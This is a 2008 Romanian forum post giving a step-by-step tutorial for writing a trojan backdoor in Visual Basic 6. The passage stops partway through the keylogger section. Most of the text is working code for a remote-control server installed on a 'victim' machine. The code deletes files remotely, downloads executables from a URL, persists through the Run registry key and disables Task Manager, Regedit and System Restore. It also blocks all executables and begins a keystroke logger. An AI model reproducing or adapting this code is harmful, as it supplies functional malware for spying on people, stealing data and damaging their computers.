Nytro Posted March 11, 2008 Report Posted March 11, 2008 Crearea unui Trojan BackDoor in Visual Basic 6 © Nytro 2008 http://www.rstcenter.com Atentie !!! >> Tutorialul este pentru a invata , pentru scopuri educative , pentru a va satisface curiozitatea . Nu imi asum raspunderea pentru actiunile voastre . Download ( .txt ) - 47.39 KB :http://rapidshare.com/files/98709362/Tutorial.txthttp://www.speedyshare.com/750653951.htmlhttp://uploaded.to/?id=1kxqxhhttp://www.netdrive.ws/62551.htmlCe contine acest tutorial ?+ Conectarea a doua executabile folosind Winsock , explicata detaliat+ Functii - Swap Mouse Buttons - Freeze Mouse - Crazy Mouse - Hide Mouse - Open / Close CDRom - Auto-Download - Restart , Shutdown , LogOff , Force Shutdown - Hide TaskBar - Hide Clock , Start Button , Desktop Icons - Server start-up - Disable/Enable Task Manager - Lock/Unlock All EXE - Disable/Enable Regedit - Disable/Enable Right click - Disable/Enable System Restore+ Crearea unui keylogger cu fereastra ( explicata detaliat ) + Cateva sfaturi utile Sa incepem . Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul . Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox . Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date . Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client . Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock . Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ? Private Sub Form_Load() On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului . Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port ) Winsock1.Listen ' Setam serverul sa astepte date de la client , acum serverul va asculta pe portul 1111 End Sub Serverul va trebui rulat . Apoi in client , ne conectam la server , folosind butonul de conectare : Private Sub Command1_Click() On Error Resume Next ' La fel Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 ( localhost ) Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server . Va trebui sa fie acelasi la care asculta serverul . Winsock1.Connect ' Conectam clientul la server End Sub In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita . Private Sub Winsock1_Connect() Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox . End Sub In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare : Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Form1.Caption = "Eroare la conectare" End Sub Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea . Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista Winsock1.Accept requestID ' Acceptam conexiunea de la client End Sub Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei . Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul . Private Sub Command2_Click() On Error Resume Next Winsock1.SendData "notepad" ' Trimitem stringul "notepad" End sub La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele . Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String ' Declaram variabila date_primite de tipul string Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite . If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad . Shell "notepad.exe" ' Deschidem notepad . End If ' Inchidem instructiunea If End Sub Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu . Mai puneti pe Form un buton si un TextBox . Private sub Command3_click() On Error Resume Next Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text . End Sub In server vom procesa datele primite : Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String Dim Vector() As String ' Declaram vectorul Vector() de tip string . Winsock1.GetData date_primite Vector() = Split(date_primite,"|") ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) . If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj" MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client. End If ' Inchidem instructiunea If End Sub Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt : 0 - sckClosed - Conexiunea e inchisa 1 - sckOpen - Conexiunea e deschisa 2 - sckListening - Conexiunea e in asteptare 3 - sckConnectionPending - Conexiune in desfasurare 4 - sckResolvingHost - In curs de rezolvare 5 - sckResolved - Sistem gazda rezolvat 6 - sckConnecting - Se conecteaza 7 - sckConnected - Conectat 8 - sckClosing - Se inchide conexiunea 9 - sckError - Eroare Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server . Private Sub Command2_Click() If Winsock1.State <> 7 ' State-ul este 7 daca este conectat MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" . Else: Winsock1.SendData "notepad" ' Daca e conectat , atunci permitem trimiterea datelor End If End Sub Sa punem niste functii Trojanului nostru . Vom incepe cu ceva mai simplu , de exemplu stergerea unui fisier . Pentru a sterge un fisier vom folosi functia Kill urmata de locatia fisierului . Deci din client vom trimite un string "kill" urmat de delimitator "kill|" si un alt string , reprezentat de continutul unui textbox care va contine locatia fisierului pe care vrem sa il stergem . In client , pe un buton ( nu uitati sa adaugati textbox ) : Winsock1.SendData "kill|" + Text3.Text ' Facem ceea ce ne-am propus mai sus Iar in server , vom sterge fisierul . Daca fisierul nu exista va interveni o eroare , dar vom folosi handlerul de erori . Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim date_primite As String Dim Vector() As String Winsock1.GetData date_primite Vector() = Split(date_primite,"|") If Vector(0) = "kill" Then Kill Vector(1) End If End Sub Pentru stergerea unui folder vom proceda la fel . Vom folosi functia RmDir urmata de locatia folderului . RmDir Vector(1) ' Unde Vector(1) este continutul altui Textbox , si reprezinta locatia folderului care urmeaza sa fie sters . Putem sterge de exemplu toate fisierele dintr-un folder folosind sintaxa : Kill Folder/*.* , sau fisierele cu o anumita extensie dintr-un folder Kill Folder/*.exe . Cum vom proceda : Kill Vector(1) & "\*.*" ' Pentru stergerea tuturor fisierelor dintr-un folder ( trimis din client ) Kill Vector(1) & "\*.exe" ' Pentru stergerea tuturor executabilelor din folderul primit de la client Sa adaugam serverului nostru niste functii mai "utile" . Pentru cele mai multe functii dintre ele vom avea nevoie de un API ( Application Programming Interface ) . Ce este acest API ? Este o functie care se afla intr-una din librariile Widowsului ( user32.DLL , kernel32.DLL ... ) . Noi putem folosi aceste API-uri in programele noastre din Visual Basic declarandu-le ca functii astfel ( de exemplu ) : Private Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long Private sau Public reprezinta tipul functiei . Daca declarati aceasta functie in sectiunea Declarations a Form-ului vostru va trebui declarata Private , iar daca o declarati intr-un modul va trebui declarata Public . De ce ? O functie declarata ca Private poate fi folosita numai unde a fost declarata , de exemplu daca ai declarat o functie ca privata intr-un modul , vei putea folosi functia numai in modul , daca o declari ca publica o poti folosi oriunde in programul tau . Declare Function e necesar pentru ca Visual Basic sa recunoasca functia ca apartinand unei librarii . SwapMouseButton reprezinta numele functiei , numele pe care il vei folosi in aplicatia ta . Lib este un cuvant cheie , care specifica libraria in care se afla functia noastra , in cazul nostru user32.dll . Alias este un cuvant cheie care specifica numele pe care il are functia in libraria din care face parte , in cazul nostru SwapMouseButton . Ceea ce se afla in paranteze reprezinta argumentele functiei , parametri . ByVal marcheaza faptul ca argumentul bSwap este transmis prin valoare , la unele veti intalni ByRef care marcheaza faptul ca un argument este transmis prin referinta . Care e diferenta dintre ele ? Daca pentru a apela functia care necesita un argument care sa fie transmis prin valoare , folosim o variabila , aceasta isi va pastra valoarea initiala . Pentru un argumet transmis prin referinta , variabila pe care o folosim va avea valoarea modificata dupa apelul functiei . As Long din paranteza reprezinta tipul parametrului . As Long din afara parantezei reprezinta tipul functiei , tipul valorii pe care o va returna functia . Sa incepem cu ceva mai simplu . Sa vedem ce putem face cu mouse : Freeze , Swap Buttons , Crazy , Hide . Sa folosim functia descrisa mai sus : SwapMouseButton pentru inceput .>> Swap Mouse Buttons - adica sa inversam butoanele mouseului . Functia noastra are nevoie de un singur parametru si anume bSwap . Vom da acestui parametru valoarea 0 pentru ca butoanele sa nu fie inversate , si 0 ca sa le inversam . Dupa ce vom declara functia , in serverul nostru la evenimentul Winsock1_DataArrival vom adauga : If date_primite = "swapmouse" Then SwapMouseButton 1 ' Folosim APIul pentru a inversa butoanele mouseului . Pentru revenire la normal vom folosi 0 in loc de 1 : SwapMouseButton 0 . End If>> Freeze Mouse - adica mouseul ramane mereu in acelasi loc . Cum facem asta ? Simplu . Folosim un Timer in care setam pozitia mouseului in acelasi loc . Pentru aceasta vom avea nevoie de alt API : Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long Aceasta functie are 2 parametri : x si y . Acesti parametri reprezinta pozitia cursorului mouseului dupa apelul functiei . Pentru a "ingheta" cursorul folosim un Timer la interval 1 . Private Sub Timer1_Timer() x = SetCursorPos(300, 500) ' La intamplare 300 , 500 , acestea fiind coordonatele la care va fi blocat mouseul , de fapt coordonatele la care va fi setat continuu . Pentru a se reveni la normal oprim timerul . End Sub>> Crazy Mouse - cursorul mouseului apare aleator pe ecran . Vom folosi acelasi API ca si la Freeze , vom folosi la fel un Timer la interval 100 sa zicem , numai ca vom seta coordonatele cursorului aleator . Private Sub Timer2_Timer() x = SetCursorPos(Rnd * 1000, Rnd * 1000) ' Setam coordonatele cursorului la coordonate aleatoare cuprinse intre 0 si 1000 . La fel , pentru a se reveni la normal , oprim timerul . End Sub>> Hide Mouse - ascundem cursorul mouseului . Pentru aceasta vom avea nevoie de urmatorul API : Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long Aceasta functie , ca si SwapMouseButton are nevoie de un singur parametru , bShow . Acesta daca este False , cursorul mouseului nu va fi vizibil , iar daca este True , se va reveni la normal . If date_primite = "hidemouse" Then ShowCursor False ' Ascundem cursorul mouseului . Pentru a il afisa din nou : ShowCursor True End If>> Open / Close CDRom - deschidem / inchidem CDRomul . Vom avea nevoie de urmatorul API : Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _ (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _ ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long E putin mai dificil . Aceasta functie are 4 parametri : lpstrCommand , lpstrReturnString , uReturnLength , hwndCallback . Primul parametru este cel care ne intereseaza pe noi . Acesta este un string specific MCI ( Multimedia Command Strings ) . Al doilea parametru reprezinta un o variabila in care se vor memora datele de iesire a functiei , noua nu ne trebuie insa si in cazul nostru va fi 0 . Al III-lea parametru reprezinta marimea celui de-al II-lea . Nu ne trebuie si in cazul nostru va fi 0 . Cel de-al IV-lea parametru de asemenea nu ne intereseaza . Conteaza numai daca primul parametru este "notify" . In fine , sa trecem la ale noastre . Pe noi ne intereseaza decat primul parametru . Acesta in cazul nostru va fi pentru Open CDRom : "Set CDAudio Door Open Wait" , iar pentru Close CDRom va fi "Set CDAudio Door Closed Wait" . Desigur , primul parametru poate avea multe valori . Deci codul nostru pentru CDRom va arata asa : mciSendString "Set CDAudio Door Open Wait", 0, 0, 0 ' Pentru Open mciSendString "Set CDAudio Door Closed Wait", 0, 0, 0 ' Pentru Close>> Auto-Download : Vom avea nevoie de urmatorul API : Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Aceasta functie ne permite sa descarcam un fisier de la un link anume , si sa il salvam in calculator . Functia are cam multe argumente , insa pe noi ne intereseaza decat 2 . pCaller nu ne intereseaza , il vom pune 0 , este necesar numai daca se apeleaza functia cu ajutorul unei componente ActiveX . Parametrul szURL ne intereseaza pe noi , el fiind linkul de la care vom descarca . Daca link-ul e invalid functia va returna INET_E_DOWNLOAD_FAILURE . Ne mai intereseaza parametrul szFileName . Acesta reprezinta locul in care vom descarca fisierul . Ceilalti 2 parametri nu ne intereseaza , vor fi 0 . Deci codul de Auto-download va arata cam asa : URLDownloadToFile(0, "http://link.com/server.exe", "c:\x.exe", 0, 0) >> Restart , Shutdown , LogOff , Force Shutdown ... Se pot face foarte usor : Shell "shutdown.exe -r",vbHide ' Pentru restart Shell "shutdown.exe -s -t 0", vbHide ' Pentru Shutdown Shell "shutdown.exe -l", vbHide ' Pentru LogOff Shell "shutdown.exe -a", vbHide ' Pentru Abort Insa recomand folosirea urmatoarei functii : Private Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Aceasta functie e putin mai greu de folosit . Are nevoie de 2 parametri : uFlags si dwReserved . Primul parametru reprezinta tipul : shutdown , restart ... , iar dwReserved reprezinta motivul pentru Shutdown . Primul parametru poate fi : EWX_LOGOFF ( 0 ) , EWX_POWEROFF ( 0x00000008 ) , EWX_REBOOT ( 0x00000002 ) , EWX_RESTARTAPPS ( 0x00000040 ) , EWX_SHUTDOWN ( 0x00000001 ) si optional EWX_FORCE ( 0x00000004 ) , EWX_FORCEIFHUNG ( 0x00000010 ) . Cred ca intelegeti si voi ce reprezinta fiecare : EWX_LOGOFF = LogOff etc. Al II-lea parametru poate fi de 2 feluri : motive majore , motive minore . Poate lua valorile : SHTDN_REASON_MAJOR_APPLICATION ( 0x00040000 ) = Din cauza unei aplicatii , SHTDN_REASON_MAJOR_HARDWARE ( 0x00010000 ) = Din cauza hardware-ului , SHTDN_REASON_MAJOR_OPERATINGSYSTEM ( 0x00020000 ) = Din cauza sistemului de operare , SHTDN_REASON_MAJOR_SOFTWARE ( 0x00030000 ) = Din cauza unui software , SHTDN_REASON_MAJOR_SYSTEM ( 0x00050000 ) = Eroare de sistem , etc . Ex. LogOff : x = ExitWindowsEx(EWX_LOGOFF, SHTDN_REASON_MAJOR_OPERATINGSYSTEM)>> Hide TaskBar - ascundem TaskBar-ul . Cum facem asta ? Pur si simplu gasim TaskBarul ( fereastra ) si o ascundem . Vom folosi 2 API-uri : Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Vom folosi FindWindow pentru a gasi TaskBar-ul si ShowWindow pentru a o ascunde . Functia FindWindow are 2 parametri : lpClassName care reprezinta numele clasei ferestrei . Fiecare fereastra are o clasa aparte . Aceasta poate fi inregistrata cu ajutorul functiei RegisterClass . Daca acest parametru este 0 , functia va gasi orice fereastra specificata de cel de-al II-lea parametru . Acesta specifica titlul ferestrei . In cazul nostru nu e necesar si va fi 0 , vom folosi decat primul parametru care in cazul nostru va fi "Shell_TrayWnd" . Putem afla clasa unei ferestre folosind functia GetClassName . Pentru a gasi fereastra : x = FindWindow("Shell_TrayWnd", 0) ' x va fi handlerul ferestrei , un fel de maner al ferestrei Apoi folosim functia ShowWindow pentru a o ascunde . Functia are 2 parametri : hwnd care va fi handlerul ferestrei , in cazul nostru x , si nCmdShow prin care specificam daca fereastra sa fie vizibila sau nu . nCmdShow va fi 0 pentru a ascunde fereastra si 1 pentru a fi vizibila . ShowWindow (x, 0) ' Pentru a o ascunde , si 1 pentru a fi vizibila .>> Hide Clock , Start Button , Desktop Icons - cum sa ascundem ceasul , butonul de start , iconitele de pe desktop . Vom avea nevoie de 3 API-uri : Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Functia FindWindow am descris-o mai sus . Care e insa diferenta dintre FindWindow si FindWindowEx ? Simplu , FindWindowEx poate gasi ferestrele copil , ferestre care apartin unei alte ferestre ca sa zic asa . De exemplu , o imagine deschisa in Photoshop este fereastra copil a ferestrei Photoshop-ului . Primul argument al functiei FindWindowEx , hWnd1 , reprezinta handlerul ferestrei parinte . Al II-lea parametru este handlerul ferestrei copil . Daca e 0 , functia gaseste primul copil al ferestrei parinte . Cel de-al III-lea parametru reprezinta clasa feresrei copil pe care o cautam , iar ultimul parametru reprezinta numele ferestrei pe care o cautam , nu vom folosi nici un nume , vom folosi functia pentru a gasi fereastra dupa clasa , nu ne vor trebui decat handlerul ferestrei parinte si clasa ferestrei copil . Cu ce ne ajuta aceste lucruri pentru a ascunde ceasul ? Simplu . Ceasul este o fereastra copil a TaskBar-ului , la fel si butonul de start . Va trebui mai intai sa gasim TaskBar-ul folosind FindWindow apoi sa gasim ceasul folosind FindWindowEx . Sa trecem la treaba : Dim task as Long ' Declaram variabila task de tipul long . Handlerul unei ferestre este un numar unic furnizat de sistem . Dim tray as Long ' Declaram variabila tray care va gasi fereastra System Tray-ului , cea in care se afla ceasul . Dim clock as Long ' Mai declaram clock cu care vom gasi ceasul . task = FindWindow("shell_traywnd", 0) ' Gasim TaskBar-ul . Variabila task va fi handlerul TaskBar-ului , folosind clasa sa si anume "shell_traywnd" . tray = FindWindowEx(task, 0, "traynotifywnd", 0) ' Gasim fereastra System Tray-ului si memoram handlerul sau in variabila tray . Dupa cum vedeti folosim FindWindowEx , iar la handlerul fisierului parinte folosim task , handlerul ferestrei TaskBar-ului , clasa fiind "traynotifywnd" . clock = FindWindowEx(tray, 0, "trayclockwclass", 0) ' Gasim ceasul si memoram handlerul sau in variabila clock . La handlerul ferestrei parinte folosim tray si anume handlerul ferestrei System-Tray-ului , folosind clasa "trayclockwclass". ShowWindow(clock, 0) ' Folosim functia ShowWindow pentru a ascunde ceasul .] Vom proceda la fel si cu butonul de start . Cu acesta va fi mai usor . Ceasul era o fereastra copil a system tray-ului care era o fereastra copil a taskbar-ului . Butonul de start este o fereastra copil a TaskBar-ului . Va fi mai usor . Dim task As Long Dim start As Long task = FindWindow("shell_traywnd", 0) ' Gasim si preluam handlerul ferestrei TaskBar-ului in variabila task declarama mai sus start = FindWindowEx(task, 0&, "button", 0) ' Gasim fereastra butonului de start , folosindu-ne de fereastra TaskBarului . ShowWindow(start, 0) ' Ascundem butonul de start folosind functia ShowWindow . Cu iconitele de pe Desktop vom proceda la fel ca si cu ceasul : Dim screen As Long Dim desktop As Long Dim icons As Long screen = FindWindow("progman", 0) ' Gasim mai intai Program Managerul desktop = FindWindowEx(screen, 0&, "shelldll_defview", vbNullString) ' Gasim apoi desktopul icons = FindWindowEx(desktop, 0&, "syslistview32", vbNullString) ' Gasim iconitele de pe Desktop ShowWindow(icons, 0) ' Ascundem iconitele . Pentru a le afisa din nou ShowWindow(icons, 1)>> Server start-up - Adaugarea serverului la StartUp Se face printr-o simpla scriere in registry . Se pot folosi API-uri pentru acest lucru , dar vom face acest lucru mai usor . Vom folosi un obiect WScript . Mai intai vom declara o variabila , apoi vom crea obiectul WScript , mai exact WshShell , pe care il vom crea folosind metoda CreateObject . Odata creat , cu un astfel de obiect se pot face mai multe lucruri , se poate scrie si citi in registry , se pot crea scurtaturi ...Dim st ' Declaram variabilaSet st = CreateObject("WScript.Shell") ' Cream obiectul st.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Server", "C:\WINDOWS\system32\dk.exe" ' Scriem in registry la HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run regkey-ul Server , cu valoarea C:\WINDOWS\system32\dk.exe , adica locatia serverului nostru . Astfel el va rula la startup .>> Disable/Enable Task Manager - Blocarea si deblocarea task managerului Se face simplu , doar scriind un key in registry , vom proceda ca mai sus . Pentru disable :Dim tmdSet tmd = CreateObject("WScript.Shell") ' Ca mai sus ...tmd.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD" ' Vom scrie in registry la locatia specificata , key-ul DisableTaskMgr care va avea valoarea 1 pentru Disable . REG_DWORD este un tip de key-uri , va fi nevoie de el . Iar pentru enable vom seta valoarea key-ului DisableTaskMgr 0 :Dim tmeSet tme = CreateObject("WScript.Shell") tme.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD">> Lock/Unlock All EXE - Blocarea si deblocarea posibilitati rularii executabilelor Se face tot la fel , prin scriere in registry . Se pot face foarte multe prin scriere in registry ... Pentru blocare va fi nevoie de o simpla modificare a valorii default a unui key . le.RegWrite "HKCR\exefile\shell\open\command\", "Nytro" ' Vom modifica valoare default a lui command . Astfel , la incercarea rularii unui executabil , windows-ul nu va sti cu ce sa il deschida , va aparea : Select a program from a list ... Nu incercati pe voi . O metoda de a scapa : deschideti ceva cu Visual Basic , veti primi o eroare , dar se va deschide Visual Basic . Apoi scrieti un cod care va debloca executabilele , ca cel de mai jos :ue.RegWrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*" ' Acest cod va permite rularea executabilelor . Mai exact va scrie in registry , in key-ul default al lui command , valoarea "%1" %* .>> Disable/Enable Regedit - Blocarea si deblocarea folosirii regedit-ului Aceeasi poveste ... Nu uitati sa declarati variabilele si sa le setati ca obiecte WshShelldr.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" ' Pentru disableer.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD" ' Pentru enable>> Disable/Enable Right click - Blocarea si deblocarea folosirii butonului drept al mouseului Tot scriere in registry ... drc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", 1, "REG_DWORD" ' Pentru disableerc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", 0, "REG_DWORD" ' Pentru enable>> Disable/Enable System Restore - Blocarea si deblocarea functiei System Restoredsr.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 1, "REG_DWORD" ' Pentru disableesr.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 0, "REG_DWORD" ' Pentru enable>>>> [ KEYLOGGER ] - Capturarea tuturor tastelor apasate de la tastatura Pentru a face un keylogger pe care sa il atasam trojanului nostru vom avea putin de lucru . Sa trecem la treaba . Cel mai important lucru este API-ul GetAsyncKeyState . Cu el vom verifica daca tastele au fost apasate . Acest API arata astfel : Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Are decat un parametru care reprezinta tasta pentru care sa verifice daca e apasata la momentul apelului . Pentru acest parametru vom putea folosi un cod ASCII corespunzator tastei pentru care facem verificarea sau una din constantele prezente in Visual Basic ( KeyCode Constants ) : vbKey0 , vbKey1 , vbKeyA , vbKeyB , vbKeyF1 , vbKeyF2 , vbKeyEscape , vbKeyInsert si multe altele . Ce vom face pentru a captura toate tastele apasate ? Vom verifica intr-un timer ( cu un interval cat mai mic , 1 de exemplu ) pentru fiecare tasta , daca a fost apasata . Si vom scrie datele intr-un textbox , apoi vom putea trimite datele clientului . Foarte important ! Daca tasta primita ca parametru a fost apasata functia va returna valoarea -32767 . Sa incepem cu ceva mai simplu . Sa verificam de exemplu cand a fost apasata tasta C . Vom avea nevoie de un Timer la interval 1 si de un textbox . Deci pentru a verifica daca a fost apasata tasta C timerul nostru va arata cam asa : Private Sub Timer1_Timer() Dim x As Integer ' Declaram x ca integer x = GetAsyncKeyState(vbKeyC) ' x va avea valoarea returnata de GetAsyncKeyState If x = -32767 Then ' Daca x are valoarea -32767 inseamna ca tasta C a fost apasata Text1.Text = Text1.Text & "c" ' Si adaugam tasta C in TextBox-ul nostru End If ' Inchidem instructiunea If End Sub Exista o mica problema in legatura cu majusculele si minusculele . Dar vom face acest lucru foarte simplu cu ajutorul codurilor ASCII . Sa verificam daca victima noastra a introduc c sau C pentru inceput . Vom verifica daca tasta Shift a fost apasata folosind constanta vbKeyShift . Daca tasta a fost apasata GetAsyncKeyState va returna -32768 . Timerul nostru va arata cam asa : Private Sub Timer1_Timer() Dim x, x2 As Integer ' Declaram variabilele x = GetAsyncKeyState(vbKeyC) ' x va verifica tasta c x2 = GetAsyncKeyState(vbKeyShift) ' x2 va verifica tasta shift If x = -32767 Then ' Daca x are valoarea -32767 adica daca tasta c a fost apasata If x2 = -32768 Then ' Verificam daca tasta shift a fost apasata Text1.Text = Text1.Text & "C" ' Daca a fost apasata adaugam la logul nostru , in textbox , tasta C , majuscula Else: Text1.Text = Text1.Text & "c" ' Daca x2 nu are valoarea -32768 inseamna ca tasta shift nu a fost apasata si adaugam in textbox c minuscula . End If ' Inchidem instructiunea If pentru x2 End If ' Inchidem instructiunea If pentru x End Sub Pentru a verifica caracterele de la A la Z vom folosi un For de la 65 ( codul ASCII al lui A ) pana la 90 ( codul ASCII al lui Z ) . Vom verifica de asemenea starea tastei Shift . Daca nu este apasata vom adauga la log caracterul pentru codul ASCII al lui i + 32 ( Codul ASCII al minusculelor este mai mare decat cel al majusculelor cu 32 ) , iar daca e apasata vom adauga caracterul pentru codul ASCII i . Timerul va arata cam asa : Private Sub Timer1_Timer() Dim x, x2, i As Integer For i = 65 To 90 ' i va parcurge tastele de la A la Z x = GetAsyncKeyState(i) ' x va verifica starea fiecarei taste de la A la Z x2 = GetAsyncKeyState(16) ' x2 va verifica starea tastei shift If x = -32767 Then ' Daca o tasta e apasata ( o tasta de la A la Z , o tasta pentru care e corespunzator un cod ASCII cuprins intre 65 si 90 , x va verifica pentru fiecare tasta in parte ) If x2 = -32768 Then ' Daca tasta shift e apasata Text1.Text = Text1.Text & Chr(i) ' Adaugam la log caracterul corespunzator codului ASCII intr 65 si 90 , cel al literei care a fost apasate , adaugam majuscula , deoarece tasta shift a fost apasata Else: Text1.Text = Text1.Text & Chr(i + 32) ' Daca nu a fost apasata adaugam minuscula , adica caracterul corespunzator codului ASCII al majusculei + 32 , rezultatul fiind codul ASCII al minusculei End If ' Inchidem instructiunea If pentru x2 End If ' Inchidem instructiunea If pentru x Next ' Inchidem For-ul End Sub Ca sa explic putin mai detaliat : In timer , de fiecare data , i va reprezenta codul ASCII al majusculei literei pentru care x va verifica daca a fost apasata . Adica va fi 65 pentru A , 66 pentru B etc. Iar x2 va verifica daca tasta shift a fost apasata . Daca a fost apasata adaugam la log caracterul corespunzator codului ASCII al lui i , iar daca nu , adaugam caracterul corespunzator codului ASCII al lui i+32 . De exemplu codul ASCII al literei a ( minuscula ) este 65 ( codul lui A - majuscula ) + 32 , adica 97 , al literei b este ( 66 - codul lui B ) + 32 , adica 98 etc. Functia Chr returneaza caracterul corespunzator codului ASCII primit ca parametru . Sa transformam acum programul nostru astfel incat sa captureze cat mai multe dintre taste . Pentru codurile ASCII va puteti uita la aceasta imagine : http://www.italysoft.com/utility/converters/asciifull.gif . Pe noi nu ne intereseaza toate , cu literele am rezolvat , sa verificam acum cifrele . In imagine se poate vedea : 0 are codul ASCII 48 , 1 are 49 etc . 